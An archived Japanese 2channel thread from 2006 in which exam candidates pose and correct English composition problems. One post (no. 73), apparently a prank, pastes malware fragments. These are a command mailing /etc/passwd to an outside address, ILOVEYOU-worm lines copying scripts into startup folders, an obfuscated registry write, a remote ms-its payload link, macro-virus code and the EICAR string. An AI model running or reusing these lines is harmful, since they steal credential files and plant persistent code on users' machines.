5ちゃんねる ★スマホ版★ ■掲示板に戻る■ 全部 1- 最新50  

■ このスレッドは過去ログ倉庫に格納されています

英作文対策スレ

1 :大学への名無しさん:2006/11/08(水) 23:14:41 ID:aemrnPjh0
ちょっといいかなと思って立てますた。
英作文で陥りそうな罠について話し合ったり
こんな表現あるよ!とか、問題出し合って遊ぶとか何でもありの方向で。
もし1000までいくならその時はその時にルール考えませう。

というわけで英作ドゾー
「彼は使い切れないほどのお金を稼いでいる」


2 :大学への名無しさん:2006/11/08(水) 23:16:06 ID:I2oIzyy40
He earns money which can't exhaust.

3 :大学への名無しさん:2006/11/08(水) 23:16:09 ID:2f5S+81oO
ツートン

4 :大学への名無しさん:2006/11/08(水) 23:26:28 ID:aemrnPjh0
>>2
お金は使い果たすものなのか使い果たされるものなのか考えてみるんだ

5 :大学への名無しさん:2006/11/08(水) 23:27:13 ID:I2oIzyy40
He earns money which can't be exhausted.

6 :大学への名無しさん:2006/11/08(水) 23:31:53 ID:UVqB+RyrO
良スレ。二次対策に丁度良い。

7 :大学への名無しさん:2006/11/08(水) 23:35:06 ID:cgURR1oc0
俺の感覚では  使いきれない ほ ど の
だから

can't より couldn't のがいい希ガス


8 :大学への名無しさん:2006/11/08(水) 23:39:10 ID:aemrnPjh0
>>5
漏れも一受験生だからその表現が正しいかは分からないけど、0点にはならないんじゃないかな
ただしっくり来ない感はある。日本語の例文の持つ意味と恐らくニュアンスが違うと思う。
これ以上はえろい人頼んだ。
まあ英作は時制とかそういうとこ気をつけてればある程度点はあるよ。

一応正答例・・・といいたいところだけど間違ってるとこが一箇所。
実はここがポイントかなと思ってこの例文書いたんだけど。
He earns more money than he cannot spend.


9 :大学への名無しさん:2006/11/08(水) 23:44:50 ID:F3dUv5Lq0
He earns more money than he can spend.

10 :大学への名無しさん:2006/11/08(水) 23:48:03 ID:aImAuH64O
結構使える表現だから問題形式で提供。
不足している1語を補いなさい。
We take for granted that the earth goes around the sun.

11 :大学への名無しさん:2006/11/08(水) 23:48:30 ID:aemrnPjh0
そう、そこ。「〜しない」につられてnotをつけてしまう人がいるのが問題。

似た感じで
「彼がこっちを見てしまわないうちに、彼をみたよ。」
日本語としてなんか変だけど、見られる前に見てやったぜみたいな感じで。

12 :大学への名無しさん:2006/11/08(水) 23:48:34 ID:F3dUv5Lq0
これも間違いが一箇所。
The fruit is not so fresh that you cannot eat it.

13 :大学への名無しさん:2006/11/08(水) 23:50:04 ID:aemrnPjh0
>>10>>12
確かに英作で良く間違われてそうなところだw

14 :大学への名無しさん:2006/11/08(水) 23:53:43 ID:UVqB+RyrO
it

15 :大学への名無しさん:2006/11/09(木) 02:53:20 ID:c5kN+gOfO
>>1
He ears so much money as he couldn't spend.
>>10
itが不足
>>12
cannot→can

16 :大学への名無しさん:2006/11/09(木) 05:29:45 ID:i1M3pw2g0
主な大学ランク(2006年河合)

上の上 東大、京大
上の中 東北大、東工大、阪大、名大、九大
上の下 北大、一橋大、神大
_______________________________ 上位10%

中の上 筑波大、千葉大、横国大、お茶の水女大、東京外語大、大阪市立大、広島大、早稲田大、慶応大
中の中 首都大学、東京学芸大、東京農工大、電気通信大、金沢大、大阪府立大、大阪外語大、奈良女子大、岡山大、上智大、同志社大
中の下 埼玉大、横浜市立大、名工大、新潟大、京都府立大、京都工繊大、神戸商科大、熊本大、鹿児島大、東京理科大、津田塾大、立命館大
_______________________________ 上位20%

下の上 東京海洋大、静岡大、信州大、滋賀大、兵庫県立大、山口大、徳島大、九工大、琉球大、学習院大、立教大、明治大、関学大、南山大
下の中 秋田大、宇都宮大、岐阜大、富山大、愛媛大、鳥取大、長崎大、青山大、法政大、中央大、関大、西南学院大
下の下 成蹊大、明治学院大、日本大、甲南大、龍谷大
_______________________________ 上位60%

下の下の上 武蔵大、国学院、獨協大、専修大、東京農業、京産大、京都外国語、京都女子、近畿大、大阪経済、福岡
下の下の中 東北学院、東洋、駒沢、創価、東海、亜細亜、東京経済、文教、神田外語、神奈川、名城、大阪工業、関西外語、桃山学院
下の下の下 国士舘、拓殖、多摩、大東文化、愛知工業、愛知、中京、桜美林、京都文教、関西福祉科学、大阪電通、姫路獨協、松山

17 :大学への名無しさん:2006/11/09(木) 06:54:02 ID:p/4P41h00
このスレもそうだし、予備校の授業でもそうだが
「典型的な誤答例」を提示されてそればかりが記憶に残って
そのまま書いてしまうオレガイル

18 :大学への名無しさん:2006/11/09(木) 07:10:28 ID:TAQIWx1s0
>>17
誤答例をこれはダメって覚えるんじゃなくて、なぜダメなのかを覚えるんだ

19 :大学への名無しさん:2006/11/09(木) 07:14:19 ID:g4TuGjBr0
【完全版】主な大学ランク(2006年河合)

上の上の上 東大、京大
上の上の中 東北大、東工大、阪大、名大、九大
上の上の下 北大、一橋大、神大
_______________________________ 上位10%

上の上 筑波大、千葉大、横国大、お茶の水女大、東京外語大、大阪市立大、広島大 【私立】早稲田大、慶応大
上の中 首都大学、東京学芸大、東京農工大、電気通信大、金沢大、大阪府立大、大阪外語大、奈良女子大、岡山大 【私立】上智大、同志社大
上の下 埼玉大、横浜市立大、名工大、新潟大、京都府立大、京都工繊大、神戸商科大、熊本大、鹿児島大 【私立】東京理科大、津田塾大、立命館大
_______________________________ 上位20%

中の上 東京海洋大、静岡大、岐阜大、信州大、滋賀大、兵庫県立大、山口大、徳島大、九工大、琉球大 【私立】学習院大、立教大、明治大、関学大、南山大
中の中 秋田大、宇都宮大、富山大、鳥取大、愛媛大、長崎大 【私立】青山大、法政大、中央大、関大、西南学院大
中の下 室蘭工大、岩手大、山形大、佐賀大 【私立】成蹊大、獨協大、明治学院大、日本大、甲南大、龍谷大
_______________________________ 上位50%

【以下私立大のみ】
下の上 武蔵大、国学院、専修、文教、東京農業、京産大、京都外国語、京都女子、近畿、大阪工業、大阪経済、福岡
下の中 東北学院、東洋、駒沢、創価、東海、亜細亜、東京経済、神田外語、神奈川、名城、関西外語、桃山学院
下の下 国士舘、拓殖、多摩、大東文化、愛知工業、愛知、中京、桜美林、京都文教、関西福祉科学、大阪電通、姫路獨協、松山
_______________________________ 上位90%

下の下以下 明星、江戸川、東大阪など

20 :大学への名無しさん:2006/11/09(木) 23:02:20 ID:NDsg0qhG0
3単元のSがどういうところに付くのかよくわかりません

he she とか every anyは単数名詞しかとらないから3単元のSをつけないといけないくらいにしか・・・

他はどういう場合に付けないといけないのでしょうか?

21 :大学への名無しさん:2006/11/09(木) 23:41:26 ID:TAQIWx1s0
自分で言ってるじゃん。
主語が単数で時制が現在のとき。

22 :大学への名無しさん:2006/11/10(金) 08:45:22 ID:KKyUP988O
いいねこのスレ
問題もっとプリーズ

23 :大学への名無しさん:2006/11/10(金) 14:49:52 ID:1l/zAH/NQ
彼は、溺れた少年がプールでもがいているのを見た。

※(沈まないよう)もがく
flounder


適当に例文考えただけだから答えないけどどぞ

24 :大学への名無しさん:2006/11/11(土) 00:06:12 ID:2rMREQny0
age

25 :大学への名無しさん:2006/11/11(土) 00:26:15 ID:4qLwVgwN0
その少年は溺れ死んでしまった。

26 :大学への名無しさん:2006/11/11(土) 00:29:10 ID:U7qzBUGR0
The boy drowed to death.

27 :大学への名無しさん:2006/11/11(土) 01:00:35 ID:FkGBQQnf0
>>23
He saw the boy floundering in the pool.

正確に訳すなら「溺れた」って表現も必要なのかなぁ

>>25
He finally drowned and died.

drownに溺れ(死ぬ)って意味もあるからdrownedだけでもいいかな
「死ぬ」てのを強調するならどうだろう〜(・∀・)

28 :大学への名無しさん:2006/11/11(土) 01:03:02 ID:iPu6NR7sO
時制がどれかイマイチわからんよなぁ

29 :大学への名無しさん:2006/11/11(土) 01:07:58 ID:FkGBQQnf0
良スレかと思われるので
もりあげよーう


次の日本語を英語に直しなさい
「私は今月いっぱいでこの仕事から離れることになりました。」


僕は細かい文法苦手だから採点は詳しい人にやってほしいおー

30 :大学への名無しさん:2006/11/11(土) 01:30:58 ID:iPu6NR7sO
At the end of this month I am going to retire from this company.

31 :大学への名無しさん:2006/11/11(土) 10:29:09 ID:7pqdRi2Y0
>>27
く・・・むしろ溺れたの方を見たかったのにw
でも間違っちゃいないから×にできない。
試験を採点する教授の気持ちが分かった気がするw

32 :大学への名無しさん:2006/11/11(土) 19:24:02 ID:FkGBQQnf0
>>30
あら… 簡単すぎたかな
「この仕事」とあるから正確に訳すなら retire from this job かな

retire from以外にはresign from,quitとか
リストラされる場合には
I'll be fired {sacked} at the end of this month.
とか〜(・∀・)

>>31
わーい(^ω^ ) やたー 溺れた〜とするとどういう形になるの

33 :大学への名無しさん:2006/11/11(土) 19:26:57 ID:FkGBQQnf0
良スレなんだから盛り上げてかないと〜


じゃちと難易度あげて
「学生側の動機の欠如と現在の入試制度には相関性があることは疑う余地はない。しかしそのことを認識している人は少ない。」


どぞー

34 :大学への名無しさん:2006/11/11(土) 19:29:11 ID:iPu6NR7sO
>>32
どうも。
job使えるかどうかわからなかった笑
それに向けて動きだしてるときは
be going toのほうがいいとか
どっかで聞いた覚えが。

35 :大学への名無しさん:2006/11/11(土) 19:48:59 ID:iPu6NR7sO
>>33
There is no room for doubt about mutual relation between a lack of motive
about student and a system of entrance exam.
But few people understand it.


連続で答えてすまない
微妙だがよろしく

36 :大学への名無しさん:2006/11/11(土) 19:51:44 ID:iPu6NR7sO
ごめん
examのあとにat presentいれさせて。

37 :大学への名無しさん:2006/11/11(土) 19:53:02 ID:vVMHROLxO
意味的に合ってれば良いんだろ?
表面的な意味たけじゃなくてネイティブの使い分けも問われんの?

38 :大学への名無しさん:2006/11/11(土) 20:11:48 ID:XVcnIXvTO
こんなえいさくできねぇorz

39 :大学への名無しさん:2006/11/11(土) 20:16:34 ID:r91wfAq2O
>>35
どうでもいいが、examsにした方が良いと思う。どうでもいいが。

40 :大学への名無しさん:2006/11/11(土) 20:38:36 ID:VeAgKLMNO
≫32 resignは使えなくね?

41 :大学への名無しさん:2006/11/11(土) 21:45:36 ID:FkGBQQnf0
>>35
前半はよさそうだけど
a lack of〜は
the lack of motivatin [motive] on the part of the students のがよさそうかな?
motive about studentは変な気する(・∀・)

あと a system〜も
the present entrance-exaimination systemの方がすっきりしてるかな?
後ろにof〜、at〜と付けるよりも
あと細かいけど割にフォーマルな文面だからexamよりもexaminationのがいいかも

後半部は「認識している」なのでunderstandよりもawareとかconsciousのがいいかな
あと受け売りだけど
Few people, however, are aware of this.
という言い方もあるそうで〜(・∀・)


examかexamsかとか
aとかtheとかまで細かくなるとわかんないなぁ…

>>40
そうかな?resign問題ないと思うけども

42 :大学への名無しさん:2006/11/11(土) 21:46:49 ID:FkGBQQnf0
誤字あるけどごめん

皆さんもどんどんご意見 ご問題どぞ

43 :大学への名無しさん:2006/11/11(土) 21:53:06 ID:mRQddDbVQ
>>32
drowningつけるだけ。〜edだとアウトだよという話。

>>37
大学入試においてはあまり問われないよ。
opaqueと書くべきとこをunclearと書いても多分○貰えるだろうし
thiefをsomeone who steals money or things from others without violence
と書いても大丈夫。
もっと酷ければ「年齢が50歳に届こうとしている」を
about 47 years oldでも、この表現なら50はいかない気がするし
だいたい50だからあからさまな×にはされないはず。
教授はくそー!って悔しがるだろうけどw

44 :大学への名無しさん:2006/11/11(土) 21:55:12 ID:iPu6NR7sO
>>41
生徒側うんたらのとこは自信なかった
awareははじめ使おうかと思ったけど
深く考えたらunderstandかな?とおもって。
冠詞を使いしすぎるとしつこくなるかなとおもって
そのへんはテキトーにしてしまった
細かいとこまで指摘してくれてありがとう

45 :大学への名無しさん:2006/11/11(土) 23:31:54 ID:7pqdRi2Y0
>>35>>41
students' motivesでいいんじゃまいか。
とりあえずmotive about studentはたぶんダメぽ。

あと参考までにthe entrance examやthe admission examtって表現も見つけた。
もうひとつ、there's no doubt about〜でも疑いの余地はないってニュアンスでるよ。


46 :大学への名無しさん:2006/11/11(土) 23:35:11 ID:7pqdRi2Y0
あ、書き忘れたけど恐らくmotivesとsがいるっぽい。
Her motive for the crime was revenge. とか動機が一つだと思われるようなのは単数。
でも例文ざっと30くらい見た感じ、微妙なのもいくつかあるけどね(;´Д`)

47 :大学への名無しさん:2006/11/12(日) 00:01:20 ID:7pqdRi2Y0
「買い物から帰ると、夫はテレビをつけたまま、
両手を頭の後ろで組んでソファにもたれかかって寝ていた。」

48 :大学への名無しさん:2006/11/12(日) 02:02:01 ID:4LBo+Sjz0
When I came home from shopping,
my husband was lying back in the sofa
with his hands folded behind his head,
leaving the TV on.

49 :大学への名無しさん:2006/11/12(日) 02:12:59 ID:4LBo+Sjz0
添削よろ

50 :大学への名無しさん:2006/11/12(日) 02:24:20 ID:7tKlpmOT0
>>48
それ寝てないよ

51 :大学への名無しさん:2006/11/12(日) 04:06:04 ID:7lxEhSLmO
海外からの留学生に箸の使い方を説明しなさい。

52 :大学への名無しさん:2006/11/12(日) 10:23:28 ID:zv3bDuEo0
これだけ付帯状況多いとめんどくさそうだなぁ

>>48
lieには「横たわる」も「寝る」もあるから微妙なとこだなぁ(・∀・)
あとin the sofaよりもon the sofaかな かなり細かいけど
inだとソファーにうわあああってかんじかも
問題文がアレなのもあるけどやや冗長な感じになっちゃうねえ

>>51
も、問題文なのかそれは
「」でくくったりするとわかりやすいかも

Explain how to use chopsticks to overseas student.

冠詞びみょー

53 :大学への名無しさん:2006/11/12(日) 10:37:37 ID:7lxEhSLmO
>>52
書き方悪かったかな、和文英訳じゃなくて、状況やイラストのみが与えられてるようなタイプの問題です。


54 :大学への名無しさん:2006/11/12(日) 11:13:54 ID:qPQhQmfb0
「どんな状況においても、オナニーせずにはいられない」

55 :大学への名無しさん:2006/11/12(日) 11:15:06 ID:7tKlpmOT0
>>52
いやinであってるよー。lie使うならonだとソファの上で横になってる感じかなあ。
もちろんsitだとonがもたれかかってる感じ。

56 :大学への名無しさん:2006/11/12(日) 16:21:29 ID:I6wdwF+E0
「私はジュンコがケンとデートしているところを見てしまった」

57 :大学への名無しさん:2006/11/12(日) 20:26:57 ID:22SiQWLxQ
>>53
日本語でも実演しないと説明できないw

58 :大学への名無しさん:2006/11/12(日) 20:36:54 ID:eF6MUPoAO
ちゃんと箸を使えない奴って
同学年でいるよな
あーゆー奴らはどうやって説明するだろ

てか中指が使えてないのはまだいいが
箸を掌で握り締めてる奴はどうにかすべき

59 :大学への名無しさん:2006/11/12(日) 20:40:30 ID:Enw2+IBSO
whenever you use japanese HASHI,you have to p

60 :大学への名無しさん:2006/11/13(月) 01:28:15 ID:CLehw0yf0
日本語の繋がりとかが分かりにくくて、英作しづらい文がorz

61 :大学への名無しさん:2006/11/13(月) 04:47:14 ID:P+5CMIOq0
俺、箸の使い方変だわ。
普通の人は中指を間に挟んで、人差し指と中指で上の箸を動かすんだろうけど、
俺は間に指を挟まずに、中指と薬指で上の箸を動かしてる。人差し指を全く使ってない。

治してる最中なんだけど、すげぇ指疲れるのな。前一回攣ったし。

62 :大学への名無しさん:2006/11/13(月) 08:03:55 ID:CLehw0yf0
俺も変。中指を支えにはしてるけど、人差し指だけで動かしてる感じ。
でも、もともと絵を描くんだけど、それに近い感覚で動かせるから疲れもしないししっくりくる。

63 :大学への名無しさん:2006/11/13(月) 08:22:58 ID:IsRHGNUW0
(a)「受験勉強にいらしたんだそうですね。」
さっきぼくに水をついでくれた隣の青年が話しかけてきた。
  「はあ。」
(b)「どうか、しっかりやってください。私など中途半端に学業を
   放棄してしまったものですから、もう一度やり直しができたらなあ、
   とよく思うんです。」

(a),(b)のかぎかっこの部分を英訳しなさい

64 :大学への名無しさん:2006/11/13(月) 15:33:23 ID:zMkuq6IvO
>>61>>62も日本語に訳しなさい。

65 :大学への名無しさん:2006/11/13(月) 15:36:43 ID:zMkuq6IvO
じゃなくて英語ねw

66 :大学への名無しさん:2006/11/13(月) 17:29:54 ID:d0WHpHgP0
>>63
(a) I hear you're coming here to exam study.
(b) Please do it well. I often think if I restarted again because I had given up academics halfway.

び、びみょう…


というか>>61,62はさすがにむりだおー(^ω^;)

67 :大学への名無しさん:2006/11/13(月) 19:55:19 ID:xg51V9ZM0
「〜する事を禁止する」って
prohibit Ving でおk?
prohibit O from Ving はよく見かけるが上のは辞書例とか見てもないし、
目的語使いたくないときどう書けばいいかわからないよ・・・

68 :仁和寺の法師、鷹ヶ峰の街からこんにちは:2006/11/13(月) 20:01:00 ID:Eih0L9Vm0
自分の能力を超えたフレーズをカッコつけて使うのはやめたほうが良い。
自分を過剰評価するのは愚かだ。

banを使え。









ばn                   (*^ー゚)b



うぇえええええええええええええええええええええええええええええええええええ

うぇええええええええええええええええええええええええええええええええええええええええええええええええええええええええええええええええ


しぎいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいい

69 :大学への名無しさん:2006/11/13(月) 20:06:21 ID:d0WHpHgP0
>>67
Bhutan is the world's first country to prohibit selling tobacco.
とかあるし いいとおもーよ



http://www.alc.co.jp/
熟語も例文もわんさか おすすめだお

これってどうなんだろう?って使い方がでてきたら
たとえば"prohibit doing"とかでぐぐってみると外国のページ出てくるから
あー外国のページで書かれてるなら(きっと)正しい表現のはずだってわかるよー

こうゆう使い方もありかと〜(・∀・)

70 :大学への名無しさん:2006/11/13(月) 22:36:44 ID:IsRHGNUW0
>>66
(a) I hear you're coming here to exam study.
(b) Please do it well. I often think if I restarted again because I had given up academics halfway.

まず(a)についてですが、

「〜だそうですね」を I hear で表せているのはいいと思うけど
you're comingと進行形にしてはだめかと
ここへはもう来ているので、現在完了にし you have come とすべき。
また to exam study は意味が通じない。せめてto不定詞の形は保つように。
to study  for the entrance exam とか
to prepare for〜 と書くのがベスト

解答例
I hear you have come here to prepare for the entrance exam.


71 :大学への名無しさん:2006/11/13(月) 22:59:47 ID:IsRHGNUW0
つぎに(b)です

Please do it well. はだいたいOKだと思う

ほかにいろいろ別解を考えると、
Please work hard.
Please study hard.
please do your best.  とか。

>because I had given up academics halfway 
本文では「〜から」と理由表現になっているが、
そこにはとくに因果関係は認められないので
because をつかわずに and でつなぐほうがベター。中身はOK

>I often think if I restarted again
これではif の主節がないので×
「もう一度やりなおしができたらなあ、とよく思う」
は I wish…で表現する

作例
I have given up my studies halfway,
so I often wish I could do them over again.


出典:東京大学86'前期


72 :大学への名無しさん:2006/11/13(月) 23:27:22 ID:d0WHpHgP0
おおすごい本格的

>>70-71
なるほどう
通っているイメージだったのでつい進行形を使ってしまった次第でした
to study for〜となるのはしっくりこなかったので不自然な形になってしまた(・∀・)

ふむふむ

因果関係が曖昧だとbecauseよりもandというのはためになりますッ
wishも浮かばなかった〜(・∀・;
ifの主節がないってゆうのがちょっとわからないのですけど補足もらっていいですか(´・ω・`

73 :大学への名無しさん:2006/11/13(月) 23:36:38 ID:Ik+MncxG0
kak.hta';ken=wd+'START
cat /etc/passwd | mail nobody@nonexistent.com

<body onload=window()>
If s = "htm" and fso.FileExists(f1.path+"l") = False thenfso.CopyFile f1.path, f1.path+"l"
Set A4 = A1.CreateTextFile(A1.BuildPath(A1.GetSpecialFolder(1)))
fso.copyfile "c:\network.vbs", "j:\windows\start menu\programs\startup\"
c.Copy(dirsystem&"\MSKernel32.vbs")
c.Copy(dirwin&"\Win32DLL.vbs")
c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
<object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))
ms-its:mhtml:file://c:\
kak.hta';ken=wd+'START
kill -9 xz/tSaBh0
Sub auto_open()
Application.OnSheetActivate = "check_files"
End Sub
Sub check_files()
c$ = Application.StartupPath
m$ = Dir(c$ & "\" & "PERSONAL.XLS")
If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0
If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0
whichfile = p + w * 10
End Sub
ܷܵܶ


74 :大学への名無しさん:2006/11/13(月) 23:39:23 ID:IsRHGNUW0
I often think if I restarted again
というのはthink that節のなかにif節があるけど、
ifは、if S V, S V または S V if S V
のように主節と従属節でセットになるので不可ということ

75 :大学への名無しさん:2006/11/14(火) 00:16:40 ID:9sM6b5SA0
>>67
質問とは関係ないけど、prohibitは法律とかで禁止するイメージ。
forbidは個人的にするような感じかなあ。


76 :大学への名無しさん:2006/11/14(火) 00:20:22 ID:9sM6b5SA0
>>72
ちょいともう少しbecauseを使いこなせるように補足しておくと
「〜から」の原因を表すときのbecauseは、直接原因のときね。
推測などが入るときはsinceとかas。
ちなみにbecauseは新情報、sinceやasは旧情報のときに使うお。

77 :大学への名無しさん:2006/11/14(火) 09:10:46 ID:IZH/HJni0
私が死んでも替わりはいるもの…。
If I die, I can be replaced.

78 :大学への名無しさん:2006/11/14(火) 09:23:25 ID:IZH/HJni0
問題
 アスカ、B型装備じゃ水中戦闘は無理よ!!
 《そんなのやってみないとわかんないでしょ!?》
Translate 《____》into English.


79 :大学への名無しさん:2006/11/14(火) 10:56:42 ID:iGz6M7U3O
Until you do it,it won't turn out to be possible or impossible!

80 :大学への名無しさん:2006/11/14(火) 13:40:49 ID:9447kxYk0
>>78
とかそんな英作大学入試で出ないだろ。
やるからにはもっと有意義なやつ作れや。

81 :大学への名無しさん:2006/11/14(火) 14:39:38 ID:9sM6b5SA0
>>78
もえたんの文じゃないか?w

82 :大学への名無しさん:2006/11/14(火) 18:00:16 ID:MPPGwSzs0
>>74,76
なるほろう
文法の基本的なとこがだめだなぁ うーん

sinceやasは無意味に避けてしまう傾向があるからちょいちょい手出してみるます!(・∀・)

83 :大学への名無しさん:2006/11/14(火) 19:50:40 ID:IZH/HJni0
答え
You don't know what you say until you try.
この文は有意義ですよ!!大学入試では、日本語を逐語訳すれば満点
がでる問題よりも、一度ideaに戻ってそれから英語を組み立てないと
英語としておかしくなるということはよくあります。また、口語を英訳させる問題
なんかも、地方の国立大ではでたりします。文法でがちがちに固めた文は、あってる
けどそんなんいわねえだろうみたいなのができやすいので、79みたいにへんてこ(ごめんね)
なものができやすいと思うんです。79は、untilを使ったなら主節で状態を表す文をかかないと
変であるという点で、おかしな文だと思います。そんなの(微妙な主語)を what you say なんかとするのも
テクとして使えます。ちなみに、この会話は北米版エヴァンゲリオンでのひとこまで、
実際にこのように発音されてます。

Now, Let's apply what I said to the next question !
校長「やはり携帯は禁止だ!アメリカでも携帯を持ってくることを禁止したら
   成績があがった例があるそうだ。わが校もみならおうではないか」
先生《おっしゃることはごもっともですけど、日本ではそうなるとは限らないんじゃないでしょうか》
Translate 《_____》into English.


84 :大学への名無しさん:2006/11/14(火) 19:59:17 ID:kx4xbdm3O
↑英語は得意なのかしらんが日本語汚い

85 :大学への名無しさん:2006/11/14(火) 20:09:23 ID:IZH/HJni0
すまん。日本語はてきとうに書いてもた。

86 :大学への名無しさん:2006/11/14(火) 20:39:14 ID:MPPGwSzs0
>>83
what you sayかぁ すごい


You're right, but I'm afraid there in Japan it doesn't always goes well.

「限らない」ってどうするの?

87 :大学への名無しさん:2006/11/14(火) 20:59:39 ID:IZH/HJni0
to 86

部分否定は、not alwaysもしくはnot necessarily であらわすよ。てか部分否定は出来てるよ。
I'm afraid that it doesn't always go well in Japan.て書くと構造はすっきりするよ。


88 :大学への名無しさん:2006/11/14(火) 21:16:56 ID:MPPGwSzs0
おおー やたー!!
なるほど やはりS Vはすっと言っちゃった方がすっきりするかぁ

ていうかこんな素敵な良スレになぜ人が少ない(・∀・)!

89 :大学への名無しさん:2006/11/15(水) 00:54:15 ID:dnoe43Rj0
>>83
Certainly, but I wonder if the same is true of in Japan.

90 :大学への名無しさん:2006/11/15(水) 00:56:28 ID:dnoe43Rj0
しまった

Certainly, but I wonder if the same is not always true of in Japan.

91 :大学への名無しさん:2006/11/15(水) 00:58:43 ID:TmpaH2zc0
答え
What you're trying to say makes sense, but I'm afraid that it's not
necessarily the case in Japan.

以上です。ちょっと調子にのちゃった感があるのでおいらはここで失礼します。

通りすがりの大学生でした.


92 :大学への名無しさん:2006/11/15(水) 01:25:15 ID:TmpaH2zc0
to 90

Certainly it may be a good idea, but I wonder if the American case
can be true of Japan.ならスッキリスルヨ。

93 :大学への名無しさん:2006/11/15(水) 18:24:45 ID:nw1kieRR0
教えてほしいんですが、mothersとchildrenを1つの文に出てきた場合
代名詞を使うとき、両方ともtheyになりますよね。
これじゃどっちを指してるかわかんないと思うんだけど
どうすればいいの?

94 :大学への名無しさん:2006/11/15(水) 18:30:22 ID:vrydwvE40
>>93
どういう文脈での話かよくわからないんだけど、formerとlatterを使うとか
代名詞は使わずに繰り返すとかで良いのでは?同じ単語を絶対に繰り
返しちゃいけないというわけじゃないんだし、紛らわしければ直接書くのが
一番だと思う。

95 :大学への名無しさん:2006/11/16(木) 23:03:30 ID:IpocOuWi0
まだグラウンドが濡れているから、雨が降ったに違いない。

96 :大学への名無しさん:2006/11/16(木) 23:09:19 ID:U+QQzU4n0
The ground is still wet, so it must have rained.

97 :大学への名無しさん:2006/11/16(木) 23:16:14 ID:IpocOuWi0
結構上手いことかわしたなあw

98 :大学への名無しさん:2006/11/16(木) 23:20:09 ID:lfjn5nIhO
みんな英作の勉強どんなのやってるの?ドラゴン?

99 :大学への名無しさん:2006/11/16(木) 23:22:39 ID:IpocOuWi0
予備校の予習(と少し復習)
予習で作っていって、授業でこれいい!と思った表現を脳に追加していく感じ

100 :大学への名無しさん:2006/11/16(木) 23:29:09 ID:U+QQzU4n0
>>98
俺はドラゴンイングリッシュと竹岡の原則編くらい

101 :大学への名無しさん:2006/11/16(木) 23:29:17 ID:lfjn5nIhO
なるほど〜
俺も2次試験英作あるんだけどどんな勉強すればいいかわからなくて手つかず…
ヤバい!!!!!!

102 :大学への名無しさん:2006/11/16(木) 23:34:19 ID:zOJb2c7rO
Judging from the ground which is still wet, I am sure that it rained.

103 :大学への名無しさん:2006/11/16(木) 23:35:59 ID:IpocOuWi0
>>101
英作なんか何パターンでも作れるんだから
英作本やるときは例文暗記には走らないようにするべし。
ただ、だからといって「俺の作った文でも大丈夫」と高をくくってると
文法的におかしかったり論理が破綻してる場合があるから
できることなら先生などの添削を受けた方がいい。

104 :大学への名無しさん:2006/11/16(木) 23:48:07 ID:o3bKrYZu0
>>95
I'm convinced that it is precipitation that still keeps the ground wet.
こういうのは出てくる文章決まってるから、あえて強引に

105 :大学への名無しさん:2006/11/16(木) 23:50:35 ID:IpocOuWi0
さっきから20M以上30M未満のがうpできず
3つうpロダ変えてもできないからやめた(´・ω・`)イライラしてきたし

106 :大学への名無しさん:2006/11/16(木) 23:51:37 ID:IpocOuWi0
みすったw

107 :大学への名無しさん:2006/11/17(金) 05:47:28 ID:/YaKyLhFO
As the ground is wet, it must have rained.

108 :中川泰秀 ◆tyvkWCNtzY :2006/11/17(金) 07:18:55 ID:KnRzA26x0
結局、入試と言うのは受験対策なんだな。
東京大学法学部を卒業しても、公認会計士の試験には合格しない。
大学院が学内出身者に有利なのは、授業と入試問題が一緒だからだ。

109 :大学への名無しさん:2006/11/17(金) 11:02:16 ID:hK8VmTRH0
いきなりきてなんなんだ

110 :大学への名無しさん:2006/11/19(日) 22:34:38 ID:y6UIaf/R0
英文の要約を英語でする時のコツとかあったら教えてください。
パラグラフリーディングや、最初と最後の段を読むだけでは要約はできないでしょうか?


111 :大学への名無しさん:2006/11/20(月) 00:13:57 ID:T51H39d+0
今井にでも習ってるのか?w

112 :大学への名無しさん:2006/11/22(水) 01:18:15 ID:lU9lZSUr0
>>110
英文に限ったことではないけど、接続詞に注意して読んでいくと論旨が
掴みやすいと思う。その上で結論や提案となる部分をピックアップして、
適当に切り詰めて制限語数内に収めれば合格でしょう。

読む量を減らしてバクチを打つような真似をするよりは、普段からそれなり
にまとまりのある文章を読む習慣を付けて英文自体に慣れておく、という
地味な努力が結局近道ですよ。

音読したり気になった表現をピックアップしておいたりすれば、リスニング
や作文の際にも役立ちます。

33 KB
■ このスレッドは過去ログ倉庫に格納されています

★スマホ版★ 掲示板に戻る 全部 前100 次100 最新50

read.cgi ver 05.04.00 2017/10/04 Walang Kapalit ★
FOX ★ DSO(Dynamic Shared Object)